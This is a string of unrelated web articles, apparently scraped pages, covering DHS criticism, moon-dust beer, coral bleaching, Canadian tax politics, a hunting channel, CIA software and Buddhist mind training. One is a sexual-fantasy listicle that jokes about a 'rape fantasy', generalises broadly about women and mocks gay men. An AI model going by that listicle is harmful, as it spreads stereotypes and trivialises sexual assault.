not in making war on the public. As seen in Ferguson, Mo., and across the country last year, police departments are now heavily armed with military-grade equipment provided and partially funded by the DHS. Law enforcement culture is changing in the U.S., and not for the better. Meanwhile, law enforcement under direct DHS supervision, like the Border Patrol and ICE, is also becoming highly militarized. While these agencies are ostensibly in place to help the United States monitor the movement of people across borders to protect the welfare of the nation and prevent illegal immigration, their function also appears to be in a state of rapid revolution. Both are investing heavily in arrests, the use of detention facilities with deplorable conditions, and aggressive policing on the border—a departure from law enforcement and into military-style treatment of civilians. 5) It’s time to end the war on immigrants The DHS is an active participant in the war on immigrants in the United States—the very same issue that the president and the House are trying to tackle. Undocumented immigrants of all stripes are being treated like base criminals, from housekeepers trying to send money home to their families to hardened criminals with extensive records. Immigration and Customs Enforcement reports 315,943 “removals” for 2014, including those of people without criminal records. Meanwhile, close to 450,000 immigrants are held annually across the United States, with many living in substandard, terrible conditions in crowded facilities while waiting for their day in immigration court. It can take months or even years to get to court, and because undocumented immigrants are not citizens, they are not entitled to the legal rights that would make such gross delays in justice a civil rights violation under the law. ICE and related agencies have created a logistical nightmare for the government and a terrifying reality for immigrants, not to mention a wildly expensive immigration tangle; the U.S. spent a reported two billion dollars on immigration detention in 2014. 6) Surveillance culture in the U.S. gets bigger every year Prior to 2001, Americans placed a high value on civil rights, including freedom from excessive surveillance. Now, Americans are living in a world of warrantless wiretapping, extensive CCTV usage, drones overhead, and the curtailment of privacy in a variety of settings. The DHS is only partially responsible for these moves—the PATRIOT Act certainly played a role, as did other government agencies and acts of Congress—but it has been a large player in the creation and enforcement of policies that abridge the right to privacy. Charles Kenney at Bloomberg commented about the consequences of surveillance culture: “Beyond the waste of money and the overregulation, the expansion of the homeland security state has created unnecessary fear among a population that should be able to trust its government to send accurate signals about risk.” Putting an end to the DHS would create a radical shift in the world of surveillance, raising questions about how and when Americans should be subjected to government monitoring. It could become the first step in dismantling a legal system in which civilians have become the enemy, instead of the terrorists from whom we are ostensibly protecting ourselves. 7) We need to focus on internal problems The Department’s heavy focus on external threats has come at a high internal cost. Acts of domestic terrorism, like the assassination of Dr. Tiller in 2009, mass shootings in numerous venues, the Boston Marathon Bombing in 2013, and attacks on religious minorities illustrate that the DHS has failed spectacularly on the issue of protecting Americans from terrorist threats. The Southern Poverty Law Center, a civil rights organization, indicates that hate groups in the United States are on the rise and pose a significant risk of terrorism, yet the DHS has taken little to no moves to address them, an ominous and troubling sign. In a particularly stark example of the failings at the Department of Homeland Security, the Secret Service is in a state of crisis. Multiple assassination attempts against President Obama and First Lady Michelle Obama have shown that the Secret Service, now under DHS purview, is unable to provide adequate protection at the White House, another extremely troubling development. When a government agency supposedly dedicated to extinguishing the threat of terrorism in the United States can barely protect one of the nation’s most valued assets, it’s hard not to wonder where else the agency is failing. The DHS never should have been established in the first place, as hasty, immediate reactions to crises tend to leave large messes that need to be cleaned up later. The United States is facing that cleanup, and this funding crisis provides a perfect reason to simply close the agency, split its various departments into relevant agencies that can better manage their own affairs, and focus on real and immediate threats to American health, safety, and well-being. Screengrab via Showtime/YouTube -What do women fantasize about sexually? Super Fella reveals the top ten female fantasies and unveils the straight fact. Sexual fantasies for women are actually quite similar to what men fantasize about! The sweet damsels are more on the dreamy and romantic side of things, but they do have their own share of sexual fantasies for women. And quite surprisingly, the top female fantasies are not very different from what men want in bed. [Read: Top 10 sexual fantasies for men] If men and women share similar interests in sexual fantasies, why do we really have to hide it and pretend like we’re all clean as a whistle. After asking a lot of women, and of course, through my own personal experience, here are the top ten sexual fantasies for women. The top ten female fantasies Women may say what they want, but most women at least indulge in a few of these fantasies, if not all. I’m really confused about a lesbian fantasy which many girls think is a hot one, but a few others were totally against it. But what the hell, I like it, so here goes the top fantasies for women. #1 The rape fantasy This might sound like something women aren’t really into. But many women do dream about getting molested by a man, or fantasize about a man walking in, carrying her onto a haystack and nailing her. Aww, come on, not literally! [Read: Date rape facts] Women like dreaming about a man who rips their Versace overcoat, and her D&G tee, and her Victoria’s Secret lingerie and ravages her. But for all the men out there, don’t ever try doing this in reality, she’d snip your ding dong off before you can get past her Versace. But a woman wouldn’t really mind if her own man does that to her, of course, minus the ripping of her expensive clothes. #2 Being a stripper Which woman doesn’t want to be a stripper? Give her a few shots of Absolut, and she’d be all over the table, flinging clothes off one after the other. But most women don’t do that, even after they down an entire bottle. They’re just way too inhibitive. So the next best thing, they dream about stripping for an audience. They especially love it when a man takes out a few notes and dangles them down her G-strings. Women do feel a tad awkward to talk about it with their man, but I really think they should. That would be two fantasies with one stone. #3 Role reversals Women wonder what it would be like to be in a man’s shoes. Or more precisely put, they wonder what it would be like to be in a man’s boxers. They dream about stories where they could wear his long trench coat and a cap with nothing inside and take the man in the front or back. [Read: Sexual roleplay tips] The man’s obviously painfully playing the girl here in this female fantasy, and he may not really like this much unless he’s got some gay-like tendencies, or if he’s willing to walk around with a sore ass the next morning. But what’s the one statement a couple who wants to make this female fantasy a reality has to use? ‘Medic! Lubes. We’re going to need a lot of lubes!’ #4 Group sex This is a one of the bigger fantasies for women and men. Men love to dream about a good threesome when there’s a great looking exotic Asian or a Latina girl involved. Surprisingly, women like to dream about the same thing too! But they don’t want an Asian or some far-fetched demigod (they might), they just want their man’s friend! Yep, most women would love to play the pony with their boyfriend’s or husband’s good friend. [Read: How to start swinging] # 5 A gorgeous woman Not all women accept this controversial fantasy for women. But many women secretly fantasize about having a physical affair with someone like Angelina Jolie or some other hot bombshell who always talks like she loves to have sex with women. Can you believe that?! Gasp! Women fantasize about what it would be like to be with someone of the same sex, someone who knows just how she wants to be touched and what will make her orgasm. [Read: Girls kissing each other] And just in case you haven’t thought about making love to Angelina, girlie, she’s stated that she finds a woman’s body to be the most attractive thing in the whole world (all men second that) and she loves to make out with women! Now, even if women haven’t given girl sex a thought, they might just change their mind. #6 Exhibitionism Many fantasies for women include showing off. A lot! They dream about walking down a beach and by the time they reach the waters, they’ve got almost all their clothes off. If not that, a woman fantasizes about having sex in public where people can see her performing her act. [Read: Public flashing girls confessions] The closest thing that women do to get familiar with this female fantasy is flashing to unsuspecting loners walking along on a highway. Exhibitionism fantasies can be a great boost for sizzling sex, and can also have a woman talking about really, really dirty things in bed. Which does turn on both partners. Life is good! [Read: How to talk dirty in bed] #7 Submissive mate Women do like getting kinky once in a while. Men are usually the ones who are on top, but at times a woman fantasizes about a man doing more than just showing off his balancing act on top of her. She fantasizes about being told what to do in bed. She wonders how it would feel to be called a slut or a whore in bed. It may even turn her on. Even though it sounds like a guy’s fantasy, what the woman does during this act is her fantasy. Some women say they would listen to their partner, while some girls said they would do the opposite of what their master orders and wait to be punished. Freaky lil’ minxes! #8 Dominatrix This is a role reversal of the submissive lover. Some women like to dominate men, instead of getting dominated all the time. They imagine what it could be like if they could indulge in all kinds of crazy acts with their men. This includes tying him up and doing whatever she wishes to her man. Telling him to perform sexual acts on her as well as making him beg for what he wants, are just a few things that run along in a woman’s mind in this fantasy for women. And trust me, some acts are just way too crude to be put here. The least of it’s got something to do with peeing! Omigawd! [Read: Sexual fetishes] #9 A stranger in the bedroom Women may cringe when an unknown male touches them, but they do love it inside their head! The thought of meeting a stranger for one night of great sex, where she can do anything and everything she wants is just what can turn her on like a light bulb. She could do whatever she wants, talk dirty, ask the guy to take her from the back, talk about another woman, whatever she wants. Many women want to talk about a lot of things in bed, but worry too much about what their man might think of their female fantasy. A meeting with a stranger, at least in her head takes away a lot of those inhibitions. [Read: How to start fantasizing about someone else with your lover] #10 Come and get me, boys! This fantasy is all about having several men touch a woman at the same time. She may even dream about being surrounded by several men kissing, touching and seducing her at the same time. Every woman has her own favorite number in mind, varying from three to around ten men groping her! There’s something about just sitting back and being overwhelmed by sexual male attention that turns on women. Women don’t really dream of this all the time and hope it would come true someday, but they just can’t help but sit back and wonder, how it could feel like! Of course, there are plenty more female fantasies and there are always unique fantasies for women that may turn some women on more than the others. But as long as you’re having fun and so is your man, go on and explore your mind. [Read: 20 things about girls that turn a guy on sexually] You may think your man doesn’t enjoy these female fantasies, but you’ll never know until you hint a few ideas to him. And in any case, the fantasies for women and men aren’t really very different, are they? -Dogfish Head It turns out the moon doesn't taste like cheese, it tastes like a malty Oktoberfest brew in a frosty pint glass. Delaware brewery Dogfish Head released a seasonal beer with a twist. The Celest-jewel-ale includes a bit of moon dust along with the hops and malt. The brewery obtained lunar meteorites with an assist from ILC Dover, the company known for creating and manufacturing the Apollo space suit. The meteorite was crushed into dust and steeped in the mixture as it brewed. Dogfish Head describes the taste of Celest-jewel-ale as "doughy malt, toasted bread, subtle caramel, and a light herbal bitterness." Moon dirt never sounded so delicious. The brewery notes that the dust is made up mainly of minerals and salts, so no worries about accidentally ingesting alien eggs that will later pop out of your stomach. Unfortunately, you can't go out and buy a six-pack of moon brew. It is only available on the menu at the company's Rehoboth Beach brewpub. The lucky few who get to drink it are served their pints in space-suit koozies, made from (you guessed it) the same material as ILC Dover's space suits. Those are some pretty valuable koozies, considering they're made with layers of Kevlar, Nomex, Gore-Tex, and Mylar. Only 10 koozies were made, so drinkers have to hand over their licenses as an assurance that the koozies will be returned to the bar after the moon beer goes down the hatch. Dogfish Head (Via Geekosystem) -An expedition to Christmas Island has found that this past year’s record El Niño has had a devastating effect on coral reefs near Christmas Island in the Pacific Ocean. READ MORE: New images illustrate devastating coral bleaching in Australia’s Great Barrier Reef Coral is actually an animal. The coral we see is made up of hundreds to thousands of small creatures called polyps which are extremely sensitive to temperatures. A warming of just 1 C to 1.5 C can cause the coral to undergo stress. Microscopic algae called zooxanthellae live inside the coral’s tissue and are responsible for providing coral with their colour. They also provide them with 90 per cent of the energy needed to grow as well as reproduce. Coral bleaching occurs when the relationship between the coral and the zooxanthellae breaks down, revealing the white “skeleton” of the host coral. The research team of marine scientists from the University of Victoria and the Georgia Institute of Technology visited Kiritimati Island, known best as Christmas Island, and were shocked to find how extreme the bleaching event was off the coast. Last November the team visited the reef and found that 50 to 90 per cent of the coral was bleached and as many as 30 per cent were dead. After returning in March, at least 80 per cent were dead and 15 per cent bleached. GALLERY: Before and after photos of coral bleaching off Christmas Island “Christmas Island’s coral reefs are like ghost towns — the structures are all still there, but no one is home,” said University of Victoria biologist Julia Baum. “To see the reefs change this dramatically in just a few months is shocking. “We were bracing ourselves for the worst, but seeing it with our own eyes was surreal.” Over the past 10 months, temperatures on Christmas Island have been between 1.5 C and 3 C higher than normal. “This intense heat stress has transformed some of the world’s healthiest coral reefs into graveyards,” Baum said. “To our knowledge, this is the greatest coral mass mortality event at a single location on record.” The effects of the bleaching extends beyond that of the ocean floor. “Christmas Island’s people rely on the reefs for their food and their livelihoods, so they’ll be profoundly affected by this event,” Baum said. The team will continue to monitor the reef over the years to see how the reef recovers, which they say could take a decade or more. In March, new video was released of the dramatic bleaching along Australia’s Great Barrier Reef. The Great Barrier Reef Marine Park Authority reported that 50 per cent of the coral deaths were due to sustained above-average sea surface temperatures. WATCH: New footage of Great Barrier Reef’s coral bleaching Follow @NebulousNikki -on October 20, 2017 — We all know that most small businesses fail. It’s one of the toughest things to attempt: create a small company out of nothing that competes with 800lb gorillas who have all the advantages: economies of scale, cosy access to the corridors of power, and if the worst happens for Big Business, they get bailed out with our tax dollars. If the worst happens for a small business, it’s game over. The role of small business in Canada’s economy According to Industry Canada’s 2016 report “Key Small Business Statistics” Small businesses in Canada, defined as companies that have up to 99 employees aside from the founder are responsible for: 70% of all jobs in Canada 87.7% of all new jobs Usually make the greatest contribution to net employment change. Yet being a small business owner is not all accolades, groupies and bling. The number of small businesses that die in each sector annually is pretty close to the number that enter those sectors. This goes back to the old adage that “most small businesses will fail within 5 years”. Almost half of all small businesses launch without external funding. These owners put their own money where their mouth is. The time my small business almost died Those who know me may be familiar with my company, easyDNS Technologies, which has been operating out of Toronto’s Liberty Village tech hub since before it was “the Liberty Village tech hub”. We have been operating since 1998 and usually employ somewhere between 15 and 20 FTEs. Currently we’re at 18. Without boring you with our life story, things mostly went well for the first 13 or 14 years. We had challenges, but they were things like hacking attempts and never ending Denial-Of-Service Attacks. Financially we did well. We were able to pile up “cash on the sidelines” for a rainy day. It was a good thing we did too, because we ended up needing it. The cash drove the bank nuts. They used to call me, practically begging me to do something with that cash but I always just “kept my powder dry”, as my lawyer liked to phrase it. Eventually I did invest some of it, putting it into another small business that was struggling, but they had a great product and I sensed a lot of potential. My investment kept them, and their 4 FTEs running for another couple years but in the end they liquidated and I lost my entire investment. That represented about 25% of my saved capital at the time. Concurrent with that, and reminiscent of the plot line from “Merchant of Venice” where everything went wrong for the guy at the same time, my main business began to face headwinds too. Competition from south of the border, companies like Godaddy, who had deep pockets were blanketing Toronto with ads and were undercutting everybody. Even though they were losing money like crazy, they were succeeding in cannibalizing the entire market; then their backers cleaned up via an IPO. It took a few years for us to pull out of the nosedive and we burned through the remainder of that aforementioned war chest. I remember it all too well. Lying in bed at night with that tightness in my chest, my breathing shallow, sweating out the next payroll. One Christmas (Christmas is brutal because in our sector revenues plunge while your payroll goes up), we had three payrolls in December. I was cashing out investments and ended up skipping my own salary for about 6 weeks. Long story short, we pulled out and now we’re enjoying a nice run of all-time high revenue years and we’re back to profitable. But nothing like “The Golden Age” in terms of earnings. Our margins have been compressed from currency fluctuations (most of our COGs are in USD) and cross-border competition (in addition to Godaddy, both Amazon and Google have entered our space as direct competitors. How many 800lb gorillas does Morneau Sheppell have to compete with? Probably less than we do.) Justin Trudeau excoriates small businesses as “tax cheats” So when 2015 came along and Justin Trudeau uttered his unforgettable remarks on how “most small businesses were mainly vehicles for tax cheats” I really couldn’t believe a major politician would actually say that. Every politician in history, all sides of the spectrum, usually hold up “small business” as “the backbone of the economy” – because it is. It’s a way to appeal to both working class and affluent voters because small business owners spend a lot of their lives as working class, and if they’re fortunate, some of their lives as moderately affluent. But even then, we’re all viscerally aware how fast our fortunes can change. Especially when we don’t enjoy special protections from the political caste. Had Trudeau instead come out and said “most rich people use numbered companies to shelter assets [ like how Bill Morneau & I do ]”, it would be a lot more understandable. But when pushed on his original comment and given the opportunity to clarify, he instead doubled down. Trudeau is now pushing a “tax reform” which aims to put small business owners “on the same footing” as employees from a taxation perspective. They will do this by “super-taxing” what they call “extra income in the business” at the nominal rate of income tax, as opposed to treating it as capital gains on any investments made. The risk profile of the owners is completely different from the employees But this overlooks the fact that business owners are not on the same footing as their employees for many reasons, which became very clear to me during my own company’s near-death-experience: The small business owner assumes all the operational risk. The employees get paid whether or not the business makes money, as long as there is a business to pay them. The employees get paid whether or not the business makes money, as long as there is a business to pay them. The owners form the capital , either they put in their own money, or that of their “friends and family” or they take on debt. When they take on debt, a small business owner is almost always required to put up personal guarantees: the house, the savings, the spouses assets, everything. The big boys, not so much. I doubt very much that the Morneau family has to put up one of their houses (or yachts) whenever Morneau Sheppell does a bond issuance. Something tells me they just sail through the compliance process too… , either they put in their own money, or that of their “friends and family” or they take on debt. When they take on debt, a small business owner is almost always required to put up personal guarantees: the house, the savings, the spouses assets, everything. The big boys, not so much. I doubt very much that the Morneau family has to put up one of their houses (or yachts) whenever Morneau Sheppell does a bond issuance. Something tells me they just sail through the compliance process too… Small businesses don’t get bailed out. We are not “too big to fail” or “too big to jail”. We are “too little to care” and “too small to matter”. The more small businesses fail, the more their assets and market share can get swept off the table into the deep pockets of politically ensconced conglomerates and mega-corps. Speaking of cheats While Justin Trudeau is riding his high horse about small business owner tax cheats, he keeps his “family fortune” in a number of numbered companies which are not affected by the proposed tax changes. Morneau for his part, didn’t put his assets into a blind trust when he became FM. His personal holdings in Morneau Sheppell (the ones he has tucked away in more numbered companies and it bears repeating, unaffected by the new tax proposal) have increased by over $12,000,000 since he became FM. Morneau Sheppell also obtained a contract renewal worth $8 million dollars from The Bank of Canada in February. At renewal time Bill Morneau oversaw the Bank of Canada and still owned over 2 million shares of Morneau Sheppell. He seems to be taken aback that anybody would deign to question the conflict-of-interest issues around that. I’ve busted my ass for 20 years, nearly didn’t make it, finally had some success at it while employing nearly 20 people, with families, kids, homes, and I get reviled for it by none other than the goddamn Prime Minister – a guy who was born into the very bosom of elite society and became a millionaire through inheritance. Meanwhile, his right-hand man (also born rich and took over a company his dad founded) flagrantly revels in conflicts, got even richer over the course of his term as FM. Small biz owners’ retirements in peril Maybe someday I’ll retire, and my plan has been, for nearly my entire working career, to fund my retirement through some type of business exit. With Trudeau and the Liberals in power, this now looks precarious. I can see lifetime capital gains exemptions going out the window. I can see business exits taxed at the nominal rate of income, hell, I wouldn’t be surprised to see some kind of windfall tax on a small business exit down the road. These political elite parasites are utterly shameless. Every small business owner in Canada and those who work for one need understand what the ramifications would be if we are at the beginning of a dynastic reign that is overtly hostile to the ethos and spirit of hard work, entrepreneurship and the economic contributions of small business. Justin Trudeau and his wingman Morneau are openly signaling that this is the direction they are taking this country (but they seem to be just A-OK with already super-rich fat cats). If the climate gets much more hostile then the calculus is whether it makes any sense to start a small business in Canada. Yes, we all know the tax laws here go by residency, so there is no “running companies remotely out of the Caribbean” (unless maybe, you’re a plugged in career politician, Morneau does have that subsidiary in Bahamas) but I already know a few tech entrepreneurs who already said “f*** it” and now live elsewhere, where they are starting their new companies. People who know me remember that I ran as a candidate for the Libertarian Party of Canada in the last election, garnering 1% of the vote in an NDP stronghold riding. Next election I may run in Etobicoke Central (my home riding) and maybe I’m going to swing more than 1% of the vote this time. Shoot me an email or follow me on Twitter @Stuntpope if you have any thoughts around that. -Fans are being urged to boycott Arsenal Football Club after its owner launched a 'sickening' bloodsport channel in the UK. Billionaire Stan Kroenke was today slammed by animal rights campaigners for launching what is billed as the Netflix of the hunting world. Online Streaming Service My Outdoor TV (MOTV) features 'big game' — everything from elephants to antelopes — killed for sport and was launched in the UK at Game Fair in Hertfordshire last weekend. Despite a furious backlash on social media from the likes of Ben Fogle and Robert Peston, the channel's spokesman Simon Barr told The Times: 'MOTV will present ethical, fair chase hunting and as long as it's legal it will be on there. Mr Kroenke's online-based video streaming service is already up and running in the US and was launched in the UK at Game Fair in Hertfordshire over the weekend Kroenke was slammed by animal rights groups. The channel claims to show 'ethical, fair chase and legal' hunting. Phillipa King, chief operating officer of the League Against Cruel Sports said: 'Most people won't agree that trophy hunting is in any way ethical' Jana Waller, a presenter of one of the shows on the channel, regularly posts pictures of herself posing with animals she has hunted Ms Waller is pictured posing with a black bear that was shot dead during a hunting expedition. She is pictured right alongside another hunter posing with another hunted bear 'I'm sure people won't like all the content on MOTV, but it won't be censored. 'On every film there's an explanation of what hunting does for the local community.' But animal rights groups, charities and celebrities have slammed MOTV and Mr Kroenke, who owns LA Rams NFL team, and have called for fans to boycott his football club. Labour leader Jeremy Corbyn, himself an Arsenal fan, said: 'I’m appalled at the glorification of killing wild and rare animals on this TV channel. Jeremy Corbyn said: 'As an Arsenal fan I’m disgusted that Stan Kroenke is involved in such a brutal, unethical and unnecessary activity' The Labour leader is pictured with Mayor of London Sadiq Khan outside the Barclays Premier League match at the Emirates Stadium, London 'As an Arsenal fan I’m disgusted that Stan Kroenke is involved in such a brutal, unethical and unnecessary activity 'This is not sport. Kroenke should stick to football if he wants to be involved in sport. 'In my mind "blood sport" is a contradiction and there should be no place on television or anywhere else for it.' Taking to Twitter, ITV political editor Robert Peston commented: 'As an #Arsenal supporter I have to pay money to this person. I feel sick.' Presenter Ben Fogle added: 'Boycott Arsenal for these comments.' Robert Peston and Ben Fogle were among those who called for Arsenal fans to boycott the club Dozens of other users have also voiced their objection to the channel's UK launch. One wrote: 'I'm absolutely horrified. As a wildlife & nature photographer & supporter of @Arsenal this news is nothing short of shocking and sickening.' Amie Christie added: 'How can this happen? What is wrong with people!?' Another said: 'Despicable human beings.' MOTV is part of the Outdoor Sportsman Group, which is owned by Kroenke Sports Entertainment. Some of the shows feature big game hunting and see huntsmen shoot dead bears, lions and even an endangered African elephant. In one episode titled Dark Continent Quest, presenter Jana Waller uses a bow and arrow to take down a hartebeest in South Africa. 'It's a good shot. Definitely, some liver and some lungs hit,' comments Waller's professional guide as they wait for the creature to bleed out. Waller says: 'The shot was a little far back for me, but one shot did it,' says Miss Waller before holding up the animal's horns. 'Shoot it!: An overly excited guide is heard encouraging the hunter to take the shot as he lines the lion up in his sights in one of the channel's shows While some big game hunters also call themselves conservationists as well, animal charities say studies have debunked the claim that 'blood money' goes towards supporting conservation The hunters are seen congratulating one another and even shaking hands after shooting the lion dead Those in favour of big game hunting claim the controversial bloodsports raise huge sums of cash for conversation. They say it draws in tourists to areas where wildlife is otherwise scarce. While MOTV insist the bloodsports are legal, animal rights and conservations groups branded the channel 'sickening'. Phillipa King, chief operating officer of the League Against Cruel Sports, said the Arsenal boss scored a 'massive own goal'. 'We're living in a world now where most people can see how brutal and shameful trophy hunting is, yet the Arsenal boss is choosing to launch his sick TV channel in the UK. 'The channel claims to show 'ethical, fair chase and legal' hunting. 'Most people won't agree that trophy hunting is in any way ethical, and studies have debunked claims that most of the blood money goes towards supporting conservation.' In this clip which hunters can be seen releasing dogs from the rear of a truck as they pursue a bear which is hiding up a tree Some of the shows' presenters described themselves as both hunters and conservationists. But the channel has been slammed by animal rights campaigners A bear hides up a tree as it tries to evade advancing hunters and their dogs. The channel claims to show 'ethical, fair chase and legal' hunting 'I'm not sure in what way an idiot with a gun against an elephant is a fair chase. 'And yes, the hunting they show might be legal – though if they start showing hunting in the UK they'll have to tread very carefully. 'Hunts claim to be trail hunting when they chase foxes, stags and hares, but we've shown that the vast majority of trail hunting is just a false alibi for the actual hunting and killing of animals. 'If this channel starts showing trail hunting, they'll be on very rocky ground. 'Mr Kroenke could do the world a great favour by stopping pedalling this kind of sickening TV and turning his focus on helping the animals he apparently likes to see killed.' Other people expressed their outrage on Twitter and said the boss should retract his statement Fiona Pereira, campaign manager at Animal Aid, commented: ‘There’s nothing sporting or ethical about killing animals for pleasure. 'Every animal, regardless of species, values his or her life as much as you or I value ours. 'The notion of spending time and money in the pursuit of destroying another animal’s life, is warped beyond belief. 'If people want to contribute to conservation schemes – ether financially or by volunteering, then they should do just that – and not expect to be able to exercise their blood lust in return.’ Mr Kroenke, whose estimated worth is £5.6billion, also owns the Los Angeles Rams American football team 'An RSPCA spokesman added: 'We do not condone trophy hunting or hunting animals for "sport". 'There is strong opposition around the world to the needless killing of these animals. 'We hope people across the globe will continue to support animal welfare work internationally, as well as domestically in England and Wales where the RSPCA continues to help animals in need and protect them from cruelty and suffering.' Mr Kroenke, whose estimated worth is £5.6billion, also owns the Los Angeles Rams American football team. Under Kroenke Sports & Entertainment, the billionaire also owns the Denver Nuggets of the NBA, Colorado Avalanche of the NHL, Colorado Rapids of Major League Soccer and Colorado Mammoth of the National Lacrosse League. A PETA spokesman added: 'Unlike footballers, who spend years mastering their sport, there's no skill required to kill an animal who's simply trying to survive: it involves only the movement of a finger. 'Except for those dead in heart and head, everyone understands that lions, elephants, deer, and other animals are feeling individuals, not simply bodies waiting for their heads to be shot off and displayed on a wall. 'Stan Kroenke's attempt to profit from crude bloodlust will no doubt disgust Arsenal fans and players.' In a statement Jim Liberatore, President and CEO Outdoor Sportsman Group said: ' MyOutdoorTV is a subscription, video-on-demand service that caters to viewers that enjoy outdoor lifestyle content. 'We advocate and televise only legal, ethical and fair-chase hunting, while also educating viewers about conservation practices and game management that are underlying elements of the programming. 'We want to assure animal rights activists and hunting enthusiasts alike that we will continue to adhere to these standards.' -A woman has reportedly asked to divorce her husband of six years because he doesn’t share her love of the movie Frozen. An unnamed 31-year-old man wrote on the Japanese marriage advice forum Kikonsha no Hakaba (”The Gravesite of Married People”) that his wife has recently become obsessed with the Disney hit and made him watch it, according to Rocket News 24. “It’s an okay movie, I guess, but I didn’t really care for it personally,” the man told his wife, according to the unverified post. “Do you really think it’s that good?” “If you can’t understand what makes this movie great, there’s something wrong with you as a human being!” she responded. The man claims there were no preexisting issues in the marriage, with the couple apparently living comfortably, child free, and without financial worries. He said his wife has since moved in with her parents and refuses to speak to him. -Ishmael Jones is the pseudonymous former CIA case officer and author of The Human Factor: Inside the CIA’s Dysfunctional Intelligence Culture. He has forwarded his comments on certain aspects of the CIA’s vulnerability. He advises that his comments have been reviewed and approved by the CIA’s publications review board. Mr. Jones writes: CIA secrets were once typed on paper and stored in safes. Even the typewriter ribbons were removed at the end of the day and locked away. Secrets could still be exposed but it was harder. A traitor like Aldrich Ames had to ferret his way into offices at CIA Headquarters to gain physical access to documents written on paper. Then he had to smuggle those documents out of the building. Today a clever software engineer who is not even located within the Headquarters building can have access to it all and can download it all. Tens of thousands of intelligence agency employees sit in front of tens of thousands of linked computers sown throughout the Washington, D.C. area. The people who have sold the software driving this system will insist there are firewalls between these computers, but the massive, relentless leaking, the Wikileaks CIA dump as well as the recent NSA dump and the resulting worldwide hack –- with no ability to find out who did it — say otherwise. Our modern software-based technical espionage often produces amazing intelligence, but this product appears to be a side effect. The fundamental design of these systems is insecure because they are based upon the needs of Deep State bureaucracy, which has its own priorities. The CIA doesn’t get to buy expensive fighter jets, it buys software. This software is produced at huge profit by companies that use former CIA employees as frontmen. When former CIA chief John Brennan sat down in front of the TV with a tasty beverage and a plate of nachos on November 8 to enjoy Hillary’s victory, the disappointment he felt later in the evening must have been all the more bitter because a Trump victory would make it harder for him and his pals to embark on lucrative careers selling software to the CIA. The billions spent on the CIA’s information and software systems have created a Swamp of different kinds of software created by thousands of different software engineers using unknown and contradictory styles. It’s a witch’s brew of software, slapped together, each incompatible with the other. No one knows what’s in all this stuff. It is easy to hack. There is no incentive for a contractor to write software that will be easy for a competing contractor to use. The Swamp’s software companies differ from Silicon Valley’s. Steve Jobs was entranced by technology at a young age. He was brusque and single-minded. By contrast, recently I met a tech CEO in the Swamp who sells software to the CIA. His career had been as CEO of a Democrat think tank. He’s a nice guy, well-connected, and an expert at schmoozing government employees and selling them questionable software. He doesn’t understand what he’s selling, but he knows the profit margin is huge. “None of my friends can believe I’m a tech CEO!” he said. The recent Wikileaks dump of what it describes as the entire hacking capacity of the CIA indicates our intelligence agencies are unable to keep secrets. The CIA has responded with harsh words for Wikileaks founder Julian Assange. But Assange is merely a symptom. The Deep State bureaucracy is the disease. When foreign governments examine the Wikileaks dump, they’ll be perplexed: some of the software will be superb, but so much will be nonsense that they’ll wonder if they’re the victim of a disinformation campaign. The solution is to get control of the software systems and the contractors who sell them. Congressman Darrell Issa has recognized and sought to attack this problem with the Federal Information Technology Acquisition Reform Act. Strengthening this Act and forcing intelligence agencies to obey is important. All of our nation’s intelligence secrets, including the identities of our people and our foreign agents, are at risk. Get the Swamp’s software salesmen out of the building. -It may sound counterintuitive, but a free mind is a controlled mind. Having no control over our own mind is the same as having no choice in our thoughts. If we cannot choose what to think at any given moment, we automatically default to our habits and react with thoughts that we don’t even like half the time, such as attachment, envy, aversion, bitter disappointment, non-faith, unkindness, impatience, or whatever. Freedom is the ability to choose any thought we want whenever we want it, regardless of what or who is going on around us. Thoughts are just that — thoughts. They don’t have arms or legs. They are not physical. They only exert dominion over us because we have always let them. It is like the sky letting the clouds run the show, not realizing its own vast and profound power. We all want to be happy, and we all have the limitless potential for happiness and even bliss – so why is it so darned hard to stay happy?! For example, when people first start to meditate, they often complain that they cannot even get their mind to stay still and peaceful for a few seconds, for three rounds of breathing meditation, let alone for an hour, a day, a week, a month, a lifetime. If we simply cannot stay happy, even when external conditions are going our way, does this not mean, effectively, that we don’t have enough control over our mind? So, our usual response is to try to bypass this by controlling our world and other people rather than trying to control our thoughts, and look where that gets us. Wild elephant mind Buddha described our mind as a rampaging wild elephant, stomping around creating havoc much of the time. As mentioned in this article, Buddha called unpeaceful and uncontrolled minds delusions. I remember first hearing a teaching on the so-called six causes of delusions at Madhyamaka Centre and how much I appreciated having this very practical, seemingly fool-proof way of making headway in taming and overcoming my uncontrolled and unpeaceful states of mind. I realized I could start to think the thoughts I wanted to think whenever I wanted to think them. I could choose to be kind, loving, blissful, faithful, contented, cool, and wise whenever I wanted once I had control over my own mind. No one could stop me doing this, regardless of what they do, or say, or think! In fact, the more obstacles put in our way, the more of an enjoyable challenge it can become to react in the way we WANT to as opposed to the usual, boring, choiceless, instinctive, negative way we’ve always responded in the past. To me, that is real freedom, and I want it more than anything else. The first three causes of delusion are the main causes—if we have these three, we automatically have a delusion arising in our mind. The last three are conditions that make it easy for the causes to come together. Our temporary states of mind are like clouds in the sky — if the right causes and conditions come together clouds manifest, otherwise they don’t. Knowing these causes and conditions means knowing the techniques for controlling our mind. (1) The seed of delusion The seed of a delusion is the potentiality for that delusion to arise; it is the substantial cause of the delusion. ~ Understanding the Mind We have at the moment potentials for irritation, attachment, ignorance, and so on. According to Buddhism, these are like seeds in our formless mental continuum, which we’ve had since beginningless time. For example, I have the seed of anger within my mind even right now, while I’m feeling peaceful, but it won’t arise without other conditions, such as an annoying object and inappropriate attention. We also have potentials for almost unimaginable bliss, goodness, love, compassion, wisdom, and so on – also like seeds. Which ones are sprouting in our mind right now depends on other factors, but right now we have the potentials for the dark side and the good side. The result of spiritual practice is to dig out the seeds for delusions once and for all from our mental continuum. So-called Foe Destroyers have done this and as a result cannot develop delusions regardless of what is going on in their lives. We can imagine what it’d be like to be permanently freed from anger, attachment, ignorance, pride, selfishness, and so on – just imagining it feels like a relief, and starts bringing it on. Interestingly and luckily enough, we can never destroy the seeds of our positive minds because they’re part of our Buddha nature, whom we really are, and are also based on a realistic, unexaggerated view of the world, not on inappropriate attention. Ignorant, not evil All ordinary beings have these potentialities in their mind, and they can be eradicated only by attaining the wisdom directly realizing emptiness and meditating on this for a long time. ~ Understanding the Mind Our root delusion, from which all the others grow, is ignorance. Living beings are not evil — we engage in evil actions, we can have evil states of mind, but we ourselves are not evil. We suffer from an inner sickness or inner poison – our delusions — and all these are rooted not in evil, but in ignorance. We just do not know how things exist, and we think that things exist in a way that they don’t exist, in fact contradictory to how they exist — namely independent of the mind, having nothing to do with our perceiving 